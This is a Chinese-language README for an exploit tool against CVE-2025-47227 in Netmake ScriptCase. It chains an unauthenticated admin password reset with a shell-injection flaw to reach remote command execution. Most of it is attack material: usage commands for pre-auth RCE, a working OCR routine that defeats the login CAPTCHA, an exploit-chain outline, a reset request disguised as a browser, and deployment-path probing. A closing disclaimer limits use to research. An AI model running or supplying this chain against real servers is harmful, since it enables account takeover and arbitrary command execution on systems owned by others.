CVE-2025-47227 — ScriptCase关键漏洞利用脚本
项目描述
此项目是针对CVE-2025-47227漏洞开发的利用脚本,该漏洞是Netmake ScriptCase Production Environment模块(9.12.006及更早版本)中的一个严重认证绕过漏洞。攻击者可通过精心构造的请求绕过认证机制,重置管理员密码,进而获得系统完整控制权。该漏洞还可以与CVE-2025-47228(Shell注入)串联,实现无需身份验证的远程命令执行(RCE)。
功能特性
- 预认证RCE(密码重置+命令执行):通过链式利用两个漏洞,在无需任何凭证的情况下执行远程命令。
- 独立密码重置:仅利用CVE-2025-47227漏洞重置管理员密码。
- 认证后命令执行:在已获取管理员凭证的情况下执行命令(利用CVE-2025-47228)。
- 路径探测功能:自动探测目标服务器的ScriptCase部署路径。
- 自动化CAPTCHA处理:集成了图像处理和OCR功能,能够自动识别并绕过验证码。
- 灵活的操作模式:支持多种攻击场景和配置选项。
安装指南
系统要求
- Python 3.6+
- 网络访问权限
依赖安装
安装所需的Python包:
pip install Pillow pytesseract requests beautifulsoup4
Tesseract OCR安装
- Ubuntu/Debian:
sudo apt-get install tesseract-ocr - macOS:
brew install tesseract - Windows: 从Tesseract官方页面下载安装
使用说明
基本用法
1. 预认证REC(密码重置 + RCE)
python exploit.py -u http://example.org/scriptcase -c "command"
2. 仅密码重置(无需认证)
python exploit.py -u http://example.org/scriptcase
3. 仅RCE(需要账户密码)
python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
4. 探测部署路径
python exploit.py -u http://example.org/ -d
命令行选项
选项:
-h, --help 显示帮助信息
-u BASE_URL, --base-url=BASE_URL
目标基础URL
-c COMMAND, --command=COMMAND
要执行的命令
-p PASSWORD, --password=PASSWORD
管理员密码(用于RCE模式)
-d, --detect 仅探测部署路径
核心代码
1. 图像处理与OCR模块
此模块负责处理验证码图像,为自动化攻击提供支持。
# Clean image + OCR
def process_image(input_image, output_image_path=None):
"""
处理验证码图像并提取文本
参数:
input_image: 输入的图像字节数据
output_image_path: 可选,处理后的图像保存路径
返回:
提取并处理后的验证码文本(大写)
"""
# 打开图像
img = Image.open(io.BytesIO(input_image))
# 将图像转换为RGB模式
img = img.convert('RGB')
# 加载像素数据
pixels = img.load()
# 获取图像尺寸
width, height = img.size
# 处理每个像素
for y in range(height):
for x in range(width):
r, g, b = pixels[x, y]
# 将随机背景色改为固定颜色(字母只有黑白,背景为随机颜色但不是黑白)
if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255):
pixels[x, y] = (211, 211, 211) # 将像素改为浅灰色
elif (r, g, b) == (255, 255, 255): # 将白色文本改为黑色文本
pixels[x, y] = (0, 0, 0) # 将像素改为黑色
# 调整图像尺寸 (200, 50) * 5
img = img.resize((1000,250), Image.Resampling.HAMMING)
# 使用Tesseract将图像转换为文本
# psm 6或8效果最佳
# 限制字母表
# 禁用单词优化检测
custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300' # 只有大写字母但保留小写以避免误判
text = pytesseract.image_to_string(img, config=custom_oem_psm_config)
return(text.upper().strip()) # 将误判的小写转换为大写,去除空白
2. 漏洞利用链逻辑
以下伪代码展示了完整的漏洞利用链逻辑:
# 主要利用链流程
def exploit_chain(base_url, command=None, password=None):
"""
执行完整的漏洞利用链
流程:
1. 如果没有密码,执行密码重置(CVE-2025-47227)
2. 获取验证码并自动识别
3. 发送重置请求
4. 使用新密码登录
5. 如果指定了命令,执行RCE(CVE-2025-47228)
"""
if not password:
# 步骤1:获取CAPTCHA图像
captcha_image = fetch_captcha(base_url)
# 步骤2:处理并识别CAPTCHA
captcha_text = process_image(captcha_image)
# 步骤3:发送密码重置请求
reset_payload = {
'user': 'admin',
'captcha': captcha_text,
'action': 'reset_password'
}
send_reset_request(base_url, reset_payload)
# 步骤4:使用默认或猜解的新密码
password = 'Password123*'
# 步骤5:使用新密码登录
login_session = admin_login(base_url, 'admin', password)
if command:
# 步骤6:执行命令注入
execute_command(login_session, base_url, command)
print(f"命令执行成功: {command}")
else:
print(f"密码已重置为: {password}")
3. HTTP请求处理模块
def send_reset_request(base_url, payload):
"""
发送密码重置请求到目标服务器
参数:
base_url: 目标基础URL
payload: 包含用户、验证码和动作的请求数据
返回:
服务器响应对象
"""
# 构造完整的URL
target_url = f"{base_url}/login.php"
# 设置请求头伪装为正常浏览器
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}
# 发送POST请求
response = requests.post(
target_url,
data=payload,
headers=headers,
allow_redirects=False,
verify=False # 注意:在生产环境中应验证SSL证书
)
return response
4. 路径探测功能
def detect_deployment_path(base_url):
"""
探测ScriptCase在服务器上的部署路径
参数:
base_url: 目标基础URL
返回:
检测到的部署路径或None
"""
# 常见的ScriptCase部署路径
common_paths = [
'scriptcase',
'sc',
'app',
'netmake',
'production'
]
for path in common_paths:
test_url = f"{base_url}/{path}"
try:
response = requests.get(test_url, timeout=5)
# 检查响应中是否包含ScriptCase特征
if 'scriptcase' in response.text.lower():
return path
except requests.RequestException:
continue
return None
技术细节
漏洞描述
CVE-2025-47227是ScriptCase中的认证绕过漏洞,攻击者可通过精心构造的GET和POST请求到login.php来重置管理员密码,无需任何现有凭证。
CVSS评分
- 基础分数: 7.5(高危)
- 攻击向量: 网络
- 攻击复杂度: 低
- 所需权限: 无
- 用户交互: 无
- 影响范围: 未改变
- 机密性影响: 无
- 完整性影响: 高
- 可用性影响: 无
免责声明
本工具和相关信息仅用于教育和安全研究目的。未经授权对任何系统进行漏洞测试或利用是非法的且不道德的。使用本工具前,请确保已获得目标系统的明确授权。使用者需对自身行为承担全部法律责任。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5rAfLPsUfLDXB1n1p+kzDs